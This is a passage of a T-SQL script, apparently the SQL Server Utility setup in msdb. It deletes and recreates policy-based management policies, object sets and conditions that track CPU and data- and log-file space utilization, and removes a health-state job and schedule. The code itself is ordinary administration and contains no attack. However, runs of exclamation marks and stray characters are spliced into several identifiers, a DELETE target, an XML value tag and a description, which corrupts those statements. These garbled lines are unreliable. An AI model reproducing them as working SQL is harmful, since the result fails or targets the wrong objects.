    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityServerDataFileSpaceOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerDataFileSpaceOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerDataFileSpaceOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerDataFileSpaceOverUtilizationCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityServerDataFileSpaceUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerDataFileSpaceUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerDataFileSpaceUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerDataFileSpaceUnderUtilizationCondition'
    END   

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityServerLogFileSpaceOverUtilizationPolicy')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerLogFileSpaceOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityServerLogFileSpaceOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityServerLogFileSpaceOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerLogFileSpaceOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerLogFileSpaceOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerLogFileSpaceOverUtilizationCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityServerLogFileSpaceUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerLogFileSpaceUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerLogFileSpaceUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerLogFileSpaceUnderUtilizationCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityServerProcessorOverUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityServerProcessorOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityServerProcessorOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityServerProcessorOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerProcessorOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerProcessorOverUtilizationCondition'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerProcessorOverUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorOverUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerProcessorOverUtilizationTargetCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityServerProcessorUnderUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilitySe!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N @|v+rverProcessorUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityServerProcessorUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityServerProcessorUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerProcessorUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerProcessorUnderUtilizationCondition'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityServerProcessorUnderUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerProcessorUnderUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityServerProcessorUnderUtilizationTargetCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityDacProcessorOverUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacProcessorOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityDacProcessorOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityDacProcessorOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacProcessorOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacProcessorOverUtilizationCondition'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacProcessorOverUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorOverUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacProcessorOverUtilizationTargetCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityDacProcessorUnderUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityDacProcessorUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityDacProcessorUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityDacProcessorUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacProcessorUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacProcessorUnderUtilizationCondition'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityDacProcessorUnderUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacProcessorUnderUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityDacProcessorUnderUtilizationTargetCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityVolumeSpaceOverUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityVolumeSpaceOverUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityVolumeSpaceOverUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityVolumeSpaceOverUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityVolumeSpaceOverUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceOverUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityVolumeSpaceOverUtilizationCondition'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityVolumeSpaceOverUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceOverUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityVolumeSpaceOverUtilizationTargetCondition'
    END    

    IF EXISTS(SELECT policy_id FROM msdb.dbo.syspolicy_policies WHERE name=N'UtilityVolumeSpaceUnderUtilizationPolicy')
    BEGIN
    	EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'POLICY', @name=N'UtilityVolumeSpaceUnderUtilizationPolicy', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_policy @name=N'UtilityVolumeSpaceUnderUtilizationPolicy'
    END    

    IF EXISTS(SELECT object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet')
    BEGIN   
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'OBJECTSET', @name=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_object_set @object_set_name=N'UtilityVolumeSpaceUnderUtilizationPolicy_ObjectSet'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityVolumeSpaceUnderUtilizationCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceUnderUtilizationCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityVolumeSpaceUnderUtilizationCondition'
    END    

    IF EXISTS(SELECT condition_id FROM msdb.dbo.syspolicy_conditions WHERE name=N'UtilityVolumeSpaceUnderUtilizationTargetCondition')
    BEGIN
        EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityVolumeSpaceUnderUtilizationTargetCondition', @marker=0
        EXEC msdb.dbo.sp_syspolicy_delete_condition @name=N'UtilityVolumeSpaceUnderUtilizationTargetCondition'
    END    

    IF EXISTS(SELECT COUNT(*) FROM msdb.dbo.sysutility_ucp_health_policies_internal)
    BEGIN
        DELETE FROM msdb.dbo.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N".v+sysutility_ucp_health_policies_internal
    END    

    IF EXISTS(SELECT schedule_id FROM msdb.dbo.sysschedules WHERE name=N'UtilityResourceHealthStateSchedule')
    BEGIN
        EXEC msdb.dbo.sp_delete_schedule @schedule_name=N'UtilityResourceHealthStateSchedule', @force_delete=1
    END 

    IF  EXISTS (SELECT job_id FROM msdb.dbo.sysjobs_view WHERE name = N'Utility Resource Health State')
    BEGIN
        EXEC msdb.dbo.sp_delete_job @job_name=N'Utility Resource Health State', @delete_unused_schedule=1
    END

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityComputerProcessorOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityComputerProcessorOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the CPU overutilization policy is satisfied for a computer that hosts a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'Computer', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id
    
    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorOverUtilizationCondition', @marker=1


    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityComputerProcessorOverUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the CPU overutilization policy is violated for a computer that hosts a managed instance of SQL Server. This condition is used by the utility control point to query the computers.', 
    @facet=N'Computer', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id
        
    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorOverUtilizationTargetCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityComputerProcessorUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityComputerProcessorUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the CPU underutilization policy is satisfied for a computer that hosts a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'Computer', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorUnderUtilizationCondition', @marker=1

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityComputerProcessorUnderUtilizationTargetCondition', 
    @description=N'The SQL Server Utility condition that is used to determine whether the CPU underutilization policy is violated for a computer that hosts a managed instance of SQL Server. This condition is used by the utility control point to query the computers.', 
    @facet=N'Computer', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LT</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityComputerProcessorUnderUtilizationTargetCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacDataFileSpaceOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacDataFileSpaceOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the data file space overutilization policy is satisfied for a deployed data-tier application. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'IDataFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacDataFileSpaceOverUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacDataFileSpaceUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacDataFileSpaceUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the data file space underutilization policy is satisfied for a deployed data-tier application. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'IDataFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0<!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N$m v+/Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacDataFileSpaceUnderUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacLogFileSpaceOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacLogFileSpaceOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the log file space overutilization policy is satisfied for a deployed data-tier application. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'ILogFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacLogFileSpaceOverUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityDacLogFileSpaceUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityDacLogFileSpaceUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the log file space underutilization policy is satisfied for a deployed data-tier application. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'ILogFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityDacLogFileSpaceUnderUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerDataFileSpaceOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerDataFileSpaceOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the data file space overutilization policy is satisfied for a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'IDataFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerDataFileSpaceOverUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerDataFileSpaceUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerDataFileSpaceUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the data file space underutilization policy is satisfied for a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'IDataFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerDataFileSpaceUnderUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerLogFileSpaceOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerLogFileSpaceOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the log file space overutilization policy is satisfied for a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'ILogFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerLogFileSpaceOverUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerLogFileSpaceUnderUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerLogFileSpaceUnderUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the log file space underutilization policy is satisfied for a managed instance!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N*v+ of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'ILogFilePerformanceFacet', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>GE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>SpaceUtilization</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>0</Value>
      </Constant>
    </Operator>', @is_name_condition=0, @obj_name=N'', @condition_id=@condition_id OUTPUT
    Select @condition_id

    EXEC msdb.dbo.sp_syspolicy_mark_system @type=N'CONDITION', @name=N'UtilityServerLogFileSpaceUnderUtilizationCondition', @marker=1

    -------------------------------------------------------------------------------------------------------------------------------------------------------------
    -- UtilityServerProcessorOverUtilizationCondition
    -------------------------------------------------------------------------------------------------------------------------------------------------------------

    EXEC msdb.dbo.sp_syspolicy_add_condition @name=N'UtilityServerProcessorOverUtilizationCondition', 
    @description=N'The SQL Server Utility condition that expresses when the CPU overutilization policy is satisfied for a managed instance of SQL Server. The value that is used in the condition expression is set in SQL Server Utility Explorer.', 
    @facet=N'Server', @expression=N'<Operator>
      <TypeClass>Bool</TypeClass>
      <OpType>LE</OpType>
      <Count>2</Count>
      <Attribute>
        <TypeClass>Numeric</TypeClass>
        <Name>ProcessorUsage</Name>
      </Attribute>
      <Constant>
        <TypeClass>Numeric</TypeClass>
        <ObjType>System.Double</ObjType>
        <Value>70</Value>
      </Constant>
